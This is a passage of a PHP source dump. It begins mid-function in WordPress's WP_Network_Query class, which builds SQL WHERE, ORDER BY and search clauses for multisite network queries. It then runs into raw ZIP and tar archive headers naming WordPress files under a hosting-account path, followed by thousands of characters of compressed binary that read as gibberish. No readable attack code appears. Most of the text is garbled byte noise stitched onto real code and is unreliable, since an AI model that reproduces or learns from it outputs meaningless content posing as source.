$this->sql_clauses['where']['domain__not_in'] = "$wpdb->site.domain NOT IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['domain__not_in'] ) ) . "' )"; } if ( ! empty( $this->query_vars['path'] ) ) { $this->sql_clauses['where']['path'] = $wpdb->prepare( "$wpdb->site.path = %s", $this->query_vars['path'] ); } // Parse network path for an IN clause. if ( is_array( $this->query_vars['path__in'] ) ) { $this->sql_clauses['where']['path__in'] = "$wpdb->site.path IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['path__in'] ) ) . "' )"; } // Parse network path for a NOT IN clause. if ( is_array( $this->query_vars['path__not_in'] ) ) { $this->sql_clauses['where']['path__not_in'] = "$wpdb->site.path NOT IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['path__not_in'] ) ) . "' )"; } // Falsey search strings are ignored. if ( strlen( $this->query_vars['search'] ) ) { $this->sql_clauses['where']['search'] = $this->get_search_sql( $this->query_vars['search'], array( "$wpdb->site.domain", "$wpdb->site.path" ) ); } $join = ''; $where = implode( ' AND ', $this->sql_clauses['where'] ); $groupby = ''; $pieces = array( 'fields', 'join', 'where', 'orderby', 'limits', 'groupby' ); /** * Filters the network query clauses. * * @since 4.6.0 * * @param string[] $clauses { * Associative array of the clauses for the query. * * @type string $fields The SELECT clause of the query. * @type string $join The JOIN clause of the query. * @type string $where The WHERE clause of the query. * @type string $orderby The ORDER BY clause of the query. * @type string $limits The LIMIT clause of the query. * @type string $groupby The GROUP BY clause of the query. * } * @param WP_Network_Query $query Current instance of WP_Network_Query (passed by reference). */ $clauses = apply_filters_ref_array( 'networks_clauses', array( compact( $pieces ), &$this ) ); $fields = isset( $clauses['fields'] ) ? $clauses['fields'] : ''; $join = isset( $clauses['join'] ) ? $clauses['join'] : ''; $where = isset( $clauses['where'] ) ? $clauses['where'] : ''; $orderby = isset( $clauses['orderby'] ) ? $clauses['orderby'] : ''; $limits = isset( $clauses['limits'] ) ? $clauses['limits'] : ''; $groupby = isset( $clauses['groupby'] ) ? $clauses['groupby'] : ''; if ( $where ) { $where = 'WHERE ' . $where; } if ( $groupby ) { $groupby = 'GROUP BY ' . $groupby; } if ( $orderby ) { $orderby = "ORDER BY $orderby"; } $found_rows = ''; if ( ! $this->query_vars['no_found_rows'] ) { $found_rows = 'SQL_CALC_FOUND_ROWS'; } $this->sql_clauses['select'] = "SELECT $found_rows $fields"; $this->sql_clauses['from'] = "FROM $wpdb->site $join"; $this->sql_clauses['groupby'] = $groupby; $this->sql_clauses['orderby'] = $orderby; $this->sql_clauses['limits'] = $limits; // Beginning of the string is on a new line to prevent leading whitespace. See https://core.trac.wordpress.org/ticket/56841. $this->request = "{$this->sql_clauses['select']} {$this->sql_clauses['from']} {$where} {$this->sql_clauses['groupby']} {$this->sql_clauses['orderby']} {$this->sql_clauses['limits']}"; if ( $this->query_vars['count'] ) { return (int) $wpdb->get_var( $this->request ); } $network_ids = $wpdb->get_col( $this->request ); return array_map( 'intval', $network_ids ); } /** * Populates found_networks and max_num_pages properties for the current query * if the limit clause was used. * * @since 4.6.0 * * @global wpdb $wpdb WordPress database abstraction object. */ private function set_found_networks() { global $wpdb; if ( $this->query_vars['number'] && ! $this->query_vars['no_found_rows'] ) { /** * Filters the query used to retrieve found network count. * * @since 4.6.0 * * @param string $found_networks_query SQL query. Default 'SELECT FOUND_ROWS()'. * @param WP_Network_Query $network_query The `WP_Network_Query` instance. */ $found_networks_query = apply_filters( 'found_networks_query', 'SELECT FOUND_ROWS()', $this ); $this->found_networks = (int) $wpdb->get_var( $found_networks_query ); } } /** * Used internally to generate an SQL string for searching across multiple columns. * * @since 4.6.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $search Search string. * @param string[] $columns Array of columns to search. * @return string Search SQL. */ protected function get_search_sql( $search, $columns ) { global $wpdb; $like = '%' . $wpdb->esc_like( $search ) . '%'; $searches = array(); foreach ( $columns as $column ) { $searches[] = $wpdb->prepare( "$column LIKE %s", $like ); } return '(' . implode( ' OR ', $searches ) . ')'; } /** * Parses and sanitizes 'orderby' keys passed to the network query. * * @since 4.6.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $orderby Alias for the field to order by. * @return string|false Value to used in the ORDER clause. False otherwise. */ protected function parse_orderby( $orderby ) { global $wpdb; $allowed_keys = array( 'id', 'domain', 'path', ); $parsed = false; if ( 'network__in' === $orderby ) { $network__in = implode( ',', array_map( 'absint', $this->query_vars['network__in'] ) ); $parsed = "FIELD( {$wpdb->site}.id, $network__in )"; } elseif ( 'domain_length' === $orderby || 'path_length' === $orderby ) { $field = substr( $orderby, 0, -7 ); $parsed = "CHAR_LENGTH($wpdb->site.$field)"; } elseif ( in_array( $orderby, $allowed_keys, true ) ) { $parsed = "$wpdb->site.$orderby"; } return $parsed; } /** * Parses an 'order' query variable and cast it to 'ASC' or 'DESC' as necessary. * * @since 4.6.0 * * @param string $order The 'order' query variable. * @return string The sanitized 'order' query variable. */ protected function parse_order( $order ) { if ( ! is_string( $order ) || empty( $order ) ) { return 'ASC'; } if ( 'ASC' === strtoupper( $order ) ) { return 'ASC'; } else { return 'DESC'; } } } PK $[e class-phpmailer.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/class-phpmailer.php000064400000001230150547732420020736 0ustar00J[0t%Q/A셹xDI?KiCI{g`xppxxx7?<$ pyFSXXytd5_YƵ@Qh3FI4L˂H%AF0$crie,6?:T>KSs23/&,]be+ B5kH"n4bP+ۚƪyA.*PlPCRe)K1掷K\/f},Aa K0kO@\#c'JF`jӗC l:Yt*Zj1wԘGX1:*’Ʋj怉dPɴwWjNvk_u/ŮYM@<NZS#fXD-Pa kIY)=-#r4ZGlb5VrU`.Q}Re[R,awvLa<[XK\n(M7P'U$7D8ư-f%j`wL9>1J:Qaaaι߲Q q#pM^E0!I|OÀ0?^J4tAE!i Vp\pW0IHҷrA-񳭁%*_BeT mŇ"_l<"fϼ~'mu=7`d]1msƧ)G+Gݠ 廮Zt#rH7 -ȕnKX5o pih%t ג, sRΎQ*pd49Y)#Zŭr`5e@jFl!a pI{2M٬3NuoilfzJs?ˬH-z^^I=\tٮR=Y6|@b_YYroboIZ"5ngI L=]( D2csAvٽ><̈q^0ܳkuiG``?*%4KR y"2b3°/**B6DZfʰ>EG^ByF gA$bVRmq\b^{|t^8#SCږT+ R1&L *%*ȑ 098 RBrTRoĖL`|ЛX{\K5ҟaN&x/_ *t} i7.OLr).$bY.b=mC qZPbH=ZD]E]wb톉`FM,AoF@ٕdOnj\ARa؁ by~쥐ݹN5$/DW?5/q*\֜7'FzJqN%+EFX&W~>==M*,T80L`@9fġ=nUH}WַߢxXGeol@XKE/uEFJ_1z7DnǺJ.}BG VqݮKgv}S˯v`(D3y|]DڈA 8H4X#j1x3i0Xx1Ճ}T$uǍ{&uZcj*ؘ8ylFp.+ mY*}W1/+nQsVȐ zBSQ(5=LPњ3R!uZ!#“>C# PTAt)g*DB )1*6XaRJBb;R#ͅ"4% qhc44LP*L.6Z(}au+$%I i$}eB|C.`$G Ch$d.he2]+#L]FxN<i` bhrtqfC~FCzBf* ~o]#DՐ7(3N *lWTqUkf|)J"Uj8 \|1(MF(/%*V*.Bz UzX≐$BYR5kԨK7l-ɧlf1psYڛD{Kj[?}/JCQ';Y8kCȓRioK>dѩg;׷dJ{k9<~ǟty__\׿ϗX0ӉIg+l q!n錎5 IpJEw}"+p0VWȃt<5ډ6E_WI4EJ-h)t(xb!}aj i Ķ;eo';==e-4_8E)G`&<~|o:/q(Qjˑӷ.賴zq^8bZ zu-e=ZpgHoD1t̔75WۮxK#.5 y\ 9upt!`am E#-1.ji[5*do& ¿VkF icrpY( B%Pkd77 bcdVC/Z+7 ~b?ݛ" jx >nnar-H~ٲj{zZ`7@bB  j9"XC>+:k/37FYDSWײWǛ@z536Ƽ\`'Ud GIŨ*6CeT{3hrq.VZ-U+% ҄Ic/Hk^ȕ -;ramR| Pr.uT77#&Y, Amx>+^6?pJGrq3>ڦ*Z)w֌ƺZU(*J MMjj%Rn`Xk dU@udARN5 |2htvNfͣ/P]:;aZ&݉|c\ל8媿R #G_@,*v'xӳr|{1R#-m^Mۧl[Yj9fCΤegb !2mG'wc?z>_q T[hnߎ'wK.RLi <7b(#_eٷ7j0q8jٔmAd}Ra9yǮ=3gy q$TeRS(mZ?Ko]ZMo Vga!"W$r]-_o[W6Up|Sˢg/퐯0d`M@״u+.@0ZiZg^F3 0|]Ϧ7.%/"__"PK $[B|deprecated.php.php.tar.gznu[}{G|YYyebpH$2#a~ٯ%c6n_8.'N8|SV՛$7,'lNjQ^Yy>͎ggի׮_ۻ^} /Cdw!oQϳ wװ|'=b:Nr̲zXV'U^ɛ\$q6lq<$s albA1J 0TU) \ NEf+K} W_kw~=xQMR8?,piuO.QWɾZ6}ɥK{i'}.~U/gTBr һtO CNuլY'T砘+is )Z|Q7*gD7"5аu>v+'3`> Gv,+hLI ~7Y>ŌCr rfxnq1}coq9˫N=h17bXm`Zv{э '?>"N͓Yg%|8v(GɬCR:3} VުUN:O[mwvg4-k95 \}MћLkt `lsr4 aeg8 xV:>g0:౉n&sgTf8*jbYE%`|TԳ13o6%?ЬS ml1Yr-d^-r##ǾYo`{3>:sƩ+oaQ*xqG֥MiUMeN/]դ_p0Xnȇ%p9'8)h (ٜ$TpȣvŦbtC* vGK%d6?Ei%K gF`;$!G1ᢪP (," O36Ҩ}o[M2-Sq?ݱ}lС X1RO/9KdMS[ #t (dHv)"Y)k8d 6Ťc etԷS7@~:$z輑`!5r O%~2`u)R͊{7Gl dcҞm%%UJfi74Ki> y[P?n fԵ𗯲7 GFF6w^q+홥ҭJBӥuJ=Ufaʺzno5l/W;٭1PدrüDջ! ;rUv q*ܾu.6m˛3a)٧t>]sU ؞8zk,w i2rr/ٟѢpPa1 ?|NsQ4~3ϓvw?,rg4Q*#VE1uX3%@t:n[Ta7Vk;@OXV7;[q^N]cWe=5qh #"NS-bW+RW-<.iDƷ+t˳%wJYs>/Ow TxG8m%{߿wv<' "EdC3kݺ9ʂ`ob?U Gϩe\%mk9}?Bms]Nkg ͜ !y4$9edG3dbiN2D$(QL2jYm>ͦ 4d Zs_.l/zfޫa 󆅿 >$V/N{tӒkqYQD-iudu] Znz5(JJ=!DIVW[{D#&y_u^R3/,zɃCkqc8,S ("/z=>̦Ӓ_b/k}wC WeD/+oӯUse<<c7hêVB1XDX.<2to&t`$~`&JV4mŌ@|L(mbUf3^IoHJE5N(u l^]SZL*uPyhK:SK=b M:pF|@f8"M§#a( p-I\m*l{1hوXcF֪b &3;݈+)cOdF(F^ײ9h`Y;]}ެb!2[iū(OvIX$ JG$nY/2sAiG9560H# ̂t"bdzEp}dSp5$i#kjʶkP+h[eqхeOP%vWG+w8}`e6C;Ydn)SڈhdN+Nfg_Q_uxwI֞Ndj;$-ǦR ݉{Y_(Mt5 6S+Kؐx[$}$=Ɨ d6S ==j\JWؾE܂xn~Mu1,"Yʀ~ڶ]Xi!||'t\Ϝd8|V@Jh`O|E0D9C bōbg2Bs%qc/d=svKp9/y7E>ꤶ %"4_DI p|P,: oݾ8V=X9~B!?*z1{uZqLkVJ[s/._"'FiVE;P^@i察\= ~p Yz֥Tg:?tߥKĔzAjhQms6l>@k_oFG{'z;_xөzozv!9Գżˣq.w5NXl 쮫nOǧ,5F@4,ε6cl"aQf[ZRP摗0DrN׺6uLJd"!}8Td/iq1$%D}~H` ʧaS/]yjQ1Wq?[~OqWY KhQN 5+=_3hoY=ď4{zc׏0gK':RbJsHƮ]ݮ:#Pl"֟.byspS-G#Y6wRR㬂I_$|EۙsbK>Q3{6;CLOY<62QRbcQe&Ed5 5vmGPXIшV>뤙س(MH;rhB\*eGE!xxd{JlZ$>"#"[Ҳ3e2~6F)!57 .fm)9E%:7F_aw{Z.|xfP8)47"cGiE'DGaHgkTCBx8qN0 Ahfimx4:-;Al'L,rqnZA>.@Hr ?bg-V[%8cܠDnR֫.i15N:rG.w%f}yҶ8Ϥ̍xIn{%8YN1tx>:}q~`1̈́8(1CN_C—6YEkHS>*R"p B^9x+7(@C"P!eb"33h998"\MlTZ fUe#jwBQ0}ݧBq! Gd,& 8$)˪MؾyXruf.swirV)WK TܰToJ9gxfOR(tnm!Zl\7x[B/TSeԂ(8hM@rF@)IaTC;i]O,à6Z_)^ $Y.3>D>9->{k%v붩ٞséu%4,8.8ޯM)8fp/ iq)V6ʊuFND:yXH +"_o8z t{yyJVvBTq4fn!EZ]M/J@LҰrSFo뻐`:X1o˶?L[SM[vh4æ*̿D{U^GC7BWDib{KmlnIr5/ܷ5o(=+aOi޻m]z1^{*,08grg'dOS"h lH}`t]Ui.h2?ۏFu%=o"[nR/#GNa+}ܫ[@Ƨ`/Ll>"CoM+%X#~MAa?6(,zx-MfԌ\Q5Ni+RUNv >0' lQXx"87h}Sel^gb7CrC '~{V*>x!58SƱ4AjG2 v^FMett}$P,hBޛT=c˛;sup4a@_$=iw?lJą2l+"`NCfe)$~RE#bi S% Sj ? `wꞡʖ,3(DCA$#CpGfM8qASLgcnbbU5 j@GD 8""0dT,)}2ǽ3Ftɦ.9 [Y$*o'@7l_`@Yyz(FT\wTNSG*V /,nP2Xp_=9. d#}ҧ+ӟVQUn޴BMq[;'TK`1V胋" Ojjd6059x ic$iN5~1%a~rſge5g`t6trHN#u Im.Tj,LHODƃ?t8ԙ@3MǹPN EN:jkpS 66;a)ux96ގpejBhAjmO@4IFOuXV (I!Qc {&JkfrEF/(tП=Vh i_VׄbE}2\?Ո0tmssLU]U 9%^c i7s[idԾ0@34i1ȼٜQL/8Z2|V٘f Vn׊|i+VF~=elf3RgBFW]F߶KٜPfhz ^.^4Yegf{g:ke\]e[:'v~9Ⱦy{  oY(U)sVMJ{x]GX9.?-fc0 \-V?d>' y/Xrԙk!`Hr*_YyhwሎnV5dhCW1C:uMFkr Fr;ͫC_A0zEXI=jix:_=c_ai ʝ3D5|Fn0/\LIy<+)MR'e⻃ȁϥѝkיhEdk֗X-oG*'yW4ŗ)qY+km >Q)ho /%61Ev(^ \uuS&;vjѡ: forRXޛe imS Ief ?,U'XDxW3wv:=۱ uE21S,`6-7a#.ZK.fp9<󟝆Nx|`'r8+T h?9x|n9EDU8Wͫ?ISS+l$[/n1żٍpw% r-. eP'SQrՌܬ\/+фwkkV1,12*w ű?FXYTj_%V~tw73FVv0INvpDXΓ .›cWސWUvu>Å ƋR:ޖr") IZ:Yl S8%vୢ/XU@ęjwz iD) o`2,ӣSq-|/\iSx~' zA!r5$9|1<ׁ7׭tLM.hjS~"hH; a`ɣP~Pw9YR=c]iRt9[>mv"|" q3wE3hvJV&WS{ K=7 з VŗGbC r:ZGJd۩HD![o+"#Q~q]ЧN4#Nn%ʤdy>D|<7*Huh]N狣Gl%jzyNt-GHqY~5_qu6nU*#:y쀖/1ki@־?<}FD~PڋZl 6s!9igcʿR;506V"LGǧh)~B '(s*ٔϵa9Rz򏗊T1vM"Ca>U9T-7$M9`_A9sqGZ,Ý"6K{Ҝ:'!,1[(.$Ԝui ^{,"Ϩˎmq]b0X0R@=S }Y2P<(BN_nڬ4Z\b̆3қ~XeRW'gsr'0Ff3uF29))L轎zjӑ3ԇ>q~оrkǽ53jCM9l""Gv[/8'Z"9jm'8 Zfob 8X, d5kz[U [D4ρ +?hҠ&x/2ґϱ :g[7eO^ߡ}#%Ժ_}i]GԍJ"25`jO$ž9 K/G|< ğ~r R{wo>ahwѳ)#a/|i]h"}pY[WYB:( K:hty)pF#r쐗v<~.hٻ߉ i4g81E5PdKA-]؈2vM\"ۼ|cS(2n2zn=nV@ɒM߯6_g L&p7= Sl)Y&WxUW90!K=h~3X^6*N, Ii>|!a"f1,r4rkb4$!q IjH4*Ne=5-hS=gLgMIPoXΝJ~DNWoLصdTNзȹi02&A;.qX k`tJs V</0܅ ױsi D03ⵃVPVWp``@׊v´dr%DWǢ Yŗc@|rS\qfKa}FdqFUCcwN tO[ ,z.d0M @JIXw1ΪyƋ t~nL !ulu "PKze'L^̏G j[Јk/aZN=ેtA҉ׇGW(d^ۧ)E^"2=s+l%G b ۤvV|iߟDLI*͎gFq4œwO"΋A1.槽oG$* az##Bm+ `rџk=*/RE m|4Hlȏ3.Ӳy_ e2sI4f 2.dg<"GߒHуS^10d黳GTKK yN\3mY\q4 C4*D9i-"P𘂺pHtX-H5L.vBd37 fp1ſx7MtL~#5?urѼI1%ccvRJ۷(搙fiND̓{^(MY}QSLv'E)y8+ A'&Lv,Ȣi^fln!ta&"E5E@޲b((7] *P u5\ Z!CX( 3.B!fX.rw=MٺlAɸۈ~j=72Bn.S;31R ;u~ /tz19?s(StGuQ1!lp€}FE ]Ռ:eI$ Vċsh{C, W9J]h U$v,_M=nSv{"DmTvp\xQ99BOfr; r)m񾚤Z\&3Rfp  @F:aRgb4FާČDE8lU8;B癜U~\uHSF]\l1ڈ4tg~D$!'o w !erJN 5DOZ%5 VJ]х޸p>q@ A?c|鸻R :;޲ON=Tl8_d~F:53i㌌Mq8u[I`))/6_xCfɰ'Hq+O ̤$6*ش5$<}\pF.d{@F#v2wE)[`v}Ad폳β姗sf]*g&rubNBa$ $qoorwKZ"JaA'(1x[s䕬«Co=1롸g8ϓȧ)b 6YS pgRӇƙRTB>b3GKN M:X xQV[I6Awzx}RBxpལ]3#huuOYv2b鰊ov2cwњ6B'Cᴝz{~=f> @0KFgHYE.K0HO;K#SiX4\-[i!?WEG~jMaF85Q"c$jEcf#+q:VXSmzиdlė:[1E>̧&aO>H pkΰ.t;-M&þx8Ҹ'~ f :T_[$wRGGuvp mk,AO=}uvddÞ!K+C|8f)/x;ƌd,{G7ۈ_ח<>ɛO- Sps b^d3ф^qOj\ƮCE<%/=s@&3zʽ<ݎlUJS#UO J,72@"Hܶ ڜ  }zg)Z>!{P391e*&Zpu*5A9~U?L2Zu?L)f $ޤΰNJS"}H%헓?4Lnh҆M+LB<ؒ˖7)Z&&,9jdd+F_,@3Lx(XH]~)"\ͤ4Һ_of%2j eRՌu1Jv SJP$8ԔtCs j%CK.< M(Ig[L[s;/w/`KqgGGCNZ^3rl}@9)Ezkx61s6qWt"E£;aGQR eGQLHzя- ͪb\Ц\ttNQhm шzt~vUEsk*TwX5yNw>O6hnGη!33-\9Ӗ>L iqi3 ;ENیUrYP0(SJ'Dz=%:fP~M58g(0vu~|KhrEG\fmC[A.^l؈ 39u\4>žkNAO[7IJV覵CL^C QԤE~B&û/_/KLU)/!d^28 lZ ePfEEl} 7RUt7L :?(ᛧR]?o|?l~t/qpYэ-c7J(:*pT3U4Apq͙{E<ş9eH qqpȰ_ty>1|\.`1euwM:FsթـyW~K/x^-a,P:h|:; orQeIJ#R@<4*}L"ȱa_OTY.t|ݕS9'rne;0r85Og aDYXz+%%d]vFK1ikͫĖn^vc\9oVJ~ !3(G_7vnS{S2ؾ匎.0vpڒQ΀ɻE_>+Khǻ}ӋNUCLEi$ VLl6MMr1G0 %5nKQN7 gj)qVP%6HW_H=ּ4Ӆ%XVK u$&4)pRx<)50,ypK^w埆Hu~7M "%L-Lރ{/A=ϵ_\/#;e?wirmtƏgD:7/H$Ӝb,)Mv?ޖ2xƯyʱ/s;C5~Q)i9j#[ .3) sMvhSsXMȁ@86 a=_qTkwpjL;N߮`c>Ǣ7g=6XWy섓?ΦGy?L<{v dt#awfq{{d^O}O?eoz ̓}G{'j$Co^vwvz79oĿhdqNhe,W;PI> R44 647<ɆO)}(ELpØ#+M;X8cXq]2V+0^i/u];]Up@?Z6v^|?@Z>aWlygwnMՄ,lI$ Eӹ8ȑ> 2#pl'-X?*HܺP:9o?=%)i nyΛFPIAќ2%zd㩓+̉K.vu$|Mv|RLYG/!DLx[D`4m$q9˫&CQٲ:ڡ8aFG4t ו ~@R*^\kkaA s|sO{8=9;yJrh}J9ϏJk~մ/Kl\,f<=cǥs&Kh1sdTC|{t_p`vOTCJDG EGNwO(Ŀ"B..G'I諨}3o1gDr3gK(A1=.IerWTSη4uEN0-xb #T㨎3?Ɲ/_L4+M?HqdPm=*> 4Gh45Tml/<~2,|:R;X ,䇕| Cpάc^H Xz_!f%8 E4~W 1f u3 3sLr-FQII:+21Q- fK -%M\ѷQ/ؖP?9 `,38:]F)&Is2WDl 9 `fV2<mXPjQj+-AR08RַD^̓"}g4!k OzߔA=;nշsGaW " ʝ"Vg56GT PZ"uAP<(7I=qU!uGm8(ۻjGu}iKw"YZ`-k MFouǘNrEcͻD٫KP%zDȧOuV3nۜڷ 礵|c."<"^?E5y촮I OK>YtcBJ@tszƌ⣥͖?N6QPc1*&mw:^`"DI\ J1{Y_k=2)bi2Y9I4S(yї; q:NdWX bؔH##x:B}l|E_SfnR`vs#oZl#MDSlbbwsʢq ؍v̑zD"ya͘)#d١NӜ`() Mc5LJgA4'mwRΖ9dIa_^Dٝv$ b1 Db;m#8j(HBb7 `.Xo#5.][g90ؤI{\Xmo>s)0Hr.;*0mDPo2\N!=(%|Ob>W@c짏 ӊc(ĉm2L$Y5ZՓF2ɧ]7\6>dSSEYj5 ` x7E~#uy[_~]v,%We< zDžj3)%q!=|Nu87]/% F_,G1#aChy4OI,q/%lCҡ硭wU@<[ǰK*<#vZ̦vtmxiLT ws` Z׵@yLC7`zl:b661k$7h>{8''';7;l;tGԣ+OIh`+Z+|r >MM|DBcF4$S=]2|9PG&l{ҋ5ҶyKz~f^KwхL }vTs)ݬ9O eVx!# 3a.Ö(LG2/`F⨧ 'FL3~tOE;2FC6yt{}r'жZ]f;+Rj͋>OIRZ П4>ÿ*|76[<ЙZC^x+CGe[ ^ѿ/ZPu5&0A [Y-*r&enb]\:kѢs{| ~#-Jӏ蓺̏ GѦv@Su{17K;OP#~5*H-i5h\Fc*1~x+X;NNopoVMU+8|]mB A>lu|޲H*p(b Տv():gQ s u1SKbσVu G h2q# q¶uCMc:Z`:Y0V.*; 9?PɬɣW3HIt"n5":+/ӑ%)#fы,.bpdjZ910E=c$٩]+'I&bA#Y)uP9Q5^bQI<Rq0'H y^&.Kn@q8r5AD~.MO|V:5?U{:bC7ٽȶs[$d'!T. ĮC?6p"Upu$#8$1XPgڅqD5WMihﳷd1M:/ۚM%]m[[ܕj0PPtwvzqÎisX8l"hk_fQSWF$7{tHJ뜺3'2fa1Bv]Y *heɺ|f_aɿWa* !nǛ[5*S3b 'd-h?>@"4Bg_;4ޚPI=[7~td3p=ծ6;rs`(S!6Tbz"*ܢ^SQ/cguT0LVd/݃nr?"Scz6ʆ_:.#llZmdyJ 4Ova_*(Y l//d%IꔧMViyp.ۛ|P!4dȚn0.&K~FQ97yLo}zkuݾ`C@S#H~81NeGϋYs|kus1Zl^ΊamL>9ztt7jg!S˲I1b!'Բ G{w\fpİ]6u|4qc&,uo ( grC5=(T6Gi侢xJ%]_ 5`C9yj*`4%!#aY"WJI+k_5(YA)c]msC us]|ClEsT ιFb`yA_ q#97nAA},h.21? $R!xB/<5@paxXݪ+锃>Epa=(qΣLu "*%I 5n-aS3KDvxK8}R`Ŗ_.9Qp*}Li]wlp SACx>׳-).&=P0GύD Tsǥ2tC#C|Lfy=>tga8_1gDzӝWe#Č^Q-ZoW](T[M~EGwꆸ.C~*ANEw_ү[i+^UFd(ɠhUŞSFhDl"qŽٷ~Zftx$ﻯn}dXCXB!"!Zjಎi]:()X^UG`zf/\3|w6MdS6d:Ȧsn4J!-lWgTJd\G:ln,0\(3wC?HUV6g+YYlYR š%v&ڬf&ZeSsNqy3k"=|P4cŏы<-9_Χu1/ Nإ|]$Q/J2֌"̽d1^ݤ1 ̎㭡N"͉ ?¢* {-4Ij@tϑ&| 7fɧD?>O+!tGokևu|iI>?.G,ŭ:ۢ`?](㭶fWouUً|\#*.T!v3J 9u@Gsk%F*-A\AcEg+{-29ЗR@͏(-}&2T# \n-ܱ-{=ɂ∻':[7AZ7$3,- pW.n،;oljsue #yTtJ_+4;+7JZ/kcK 1ߌX.*`fmc:^4 G찜L8 aTU_L&U\;ςn|,U7[VT"(8{ 7Q&)Qy8BֳGB4ޕ(F6C29)#X1z0И.{euC;.S6?j~L0"{r wYtOGHHh}Ε(☿p(Ka+x8ɿ?S)Du,6m5 / _㜶*f*9JaУ .#~m޻A(^ 蠤Lc ^lPzkq>~'lQʮ2};_eI篷n~n?gi)?߲`zˍۈ+ CeK(F9pwIKEgBSGǧWi᠈Jo@tBF4^MnCN5k?1+bNue\oݷ/A/olX*W ^k/cc݌.x7ĺTۻcF,qWhd]ϖ ZGucGޘW$0_modϘ+9'OVXBs亪xbC7#C9@_'a˪f%ń!Bǯ1-QgyX 71zGOGlKXJxzh8aK?* `%\"` )0JpLװK9.&O'K>84Xz0ac !dhMRn}4uaOb~Lvwj1b]~1V5[jjMeMQUfd /_M2:?p1$Ou_-JI//^E{qw[iv3gu` )>%w1A9+LH?1a&%d iP@V7ȷkBSi=^:v'sId۷pt zh-jkgOiwvRɌWV ȖlGmNj5m:G, 2FjGY/7[^=Ɓg F#ls)jPz?FϭncC?[EEFA9ؙ>1U 5.$6ݍ8}|Ω7hϬ;X[xl=y9,_'c_QIۺ{:_wPK l\NvIdq>:*FvF%p.&p#i.4t677+!潾S\Q7lK/tt5IW) IRXnϵR16aP:,s"kgթZʉTwhGB5$3 ͍>(w:s/0 R/߇{Ye' `Q%˧(`њcr6Uu5yVK9 Ee|2"ol FYS9E8 ІQl:B_%l& LeKb OIR7{/vQՃuI'yu>4#Ƿ468C!kk&*<{fi}oO)f*dN6ܶ!h} 0nؤI6BgZAkk妵Dɒu~n㺈k Rc:NNgHj d5߾J$]!G @T\A)brPF`wFjI>HrP%]BP[M.fw E?4t{2U\+easP{k*K@@;5hiQ̶Zph Pˋ! pO.^4=1UH j9I]_B  t#yWp>ҙu%)Aӿ)B KؗG;Ex}n7)m|EkfB,+K[/7ݬёjBm&w(UjyU4 9p(gDU9Z YKͼ\'//ak]i"x`l&CB5pο_VAc|-q/ϲ^N酣Ih+rU4Xu'.mׯI l~6)e{Ϝ\%/P8C)͉: :]as)$o< ,۷iFCOQvѐ<8U<'nSXl%X3L6h$9RYPh1 j,*b4*F63$vcib0:L8x`$EP> vsϺX^Q"w> v`D[?P]>!v, $l(]|)exi3Ғn)a9١jm$VDA5H?%[cOaj)4K~? $)Y#퀫,Pr%=24<{~?oEXcڍm)JE9X<Y$d~IVE_W'+..S2/Ncغbl8.^IT(yH nsC<;~+:,g Y ׄ.T3XwS#/KDQ1E/H}PޤI ZyH.lQc&b+|Kޟl?H/'ۤٿulL<}kNBGe)FA9v86Tش@ԧf7L6NdꈼMI}MH >`7~~4zpnHA[зbUxN1K0{ Jreˠ&渶륛U+m:G,:sRujYܤvxU4j&'9(t Lq]m]/&:eS/+5)3rxpt o޿9p q:?gi`:3cdR&'%f'YAcL$kM97z+hքSo"!}V25n)Z aبѽC#r5W-lcmFvPc{{Wa[f/[ WޖU_D `8p̴}e+Z a^ *&;321hgd8<ݒ LF9lƑo0^v{W\|c4<$n~7$wMnOw "`l#29VO)&p*BpRGeձ[⊺iF (36G) rgG8Q.ݥ '*'퇏7hwbn%8%&R+h9 lgT؀3Q) LCoHh p1AF[x15-@Qlr,:.0p<¬fߟVKS TW%Ș@a0Dd* laGcFp9k~OW mŜBf#.4@빙 ń&Mq:j֓ O%A:6yyeh*^]/ie$D&>Og6E㿁PvbyDZK8fKLao2?|[e07R}54ѣf0}tfS(4ywTyw-R'8 *㒁ho͙׾lJD$ ͠ctfLZuby7'!d#HzSfntzX@obԜtS|_<}ܟ4Txr4qgTpѽQ҉Az.gXF"x?2|J +r R ߥj}B/מac-UE&ʺ*9\ z,+g_20`^m+yh\J Q0)2(ΓX2 b!]au/B=>1rۢCr Oo&OD ܱc*h J< |B A3#~}$s/RLCbQORGǮ-y0JI { 0$["jaȪA+]BsZǛ!o#wc9S>yzxĵp{+ >GʲS'^aiq&G LѴ7)<@ɧۋzg\ ;W._[Oht$Nn?>dMڸGI*o0j01QZ{Xxn(8n%Sxaq8g:ݖ3 ɸ1k@%q`so8w&\NUFPS̤"?Dlz!{l8:o̝4^ix1|PZ}Sm}pAg N\RSѡ\LeYK'R|G\|~,Up,0Z?lҒ·V,%ܶozb`lQB,^ Gʒ^Cjj7<.KMm ~1>Q2' ek1w@~Cbɩ]:2:gw(OꗣkKm]UȪX6{ I,,ʕc3)P E=xf!_\:/M^WtO&b@ݷ-A4'̖*Eox9a]Re:MwzеLm7p$ n4>,g#wQb~W$}@PQBr>;0}%9pIWIgR&$'pvvF<6 J<}pӃo1}*lL8/n7VE ,'eij*|`!>W "l혣k}owbַStqUDh!1 HѺ;.ҼJE&$%%$&'*kp 1H㲜dxIItȂY(QBb%åoqqHAaKF@ybh~{zjuςivϒN(<~Xiw=\d4d:Ճ)s 6wvY.Tਧ9&!nGFX*vKD(,#[xگ%Bu GYaح\G?"`{4GԇԈ|9Mdhk{q![B@J)ը\;AkL@ދ"aa;3ZCD(nA y*e[?QG)%xPPŗcFP ~Ű cf+{sIjNtF]8' >l7qqT )`%jAUHcC2B.̓E[ml 7]Zv%@YS8Fj x}mb?c)jC6<;";=)O爷\!;1 )>M֙dե}h陭[8n_'WUGL[KҍTgd;)Rt4wT|45#A1=[S7=4(7;;u !NSfL;Y }gpT߂if/OSVss񻮜mZ4QQby({^z|s?Sv`p t]y ?c= å=E a %F D𶃹Bn/sAC UC pso;,+"Q|I`V .ݼhk_B^3=BmdB.sSgɄ T e-3 A-|^k("mTngǙU;;]c{MA]sW~on~_sw=M\4[US1WKWY'acVk~6K~@p:}ʄ>,ߤiq;iE-9{M._~ENzbXSwOP?|k"mL6cMhUFpLo19W"{Ѭ*3]"/ZXF͆87k8'ӲF)&AҠmb~?5jxgIŴ7 4%; TkL'+4/:/1Mil EE^H7dԤhV(KDNΪ 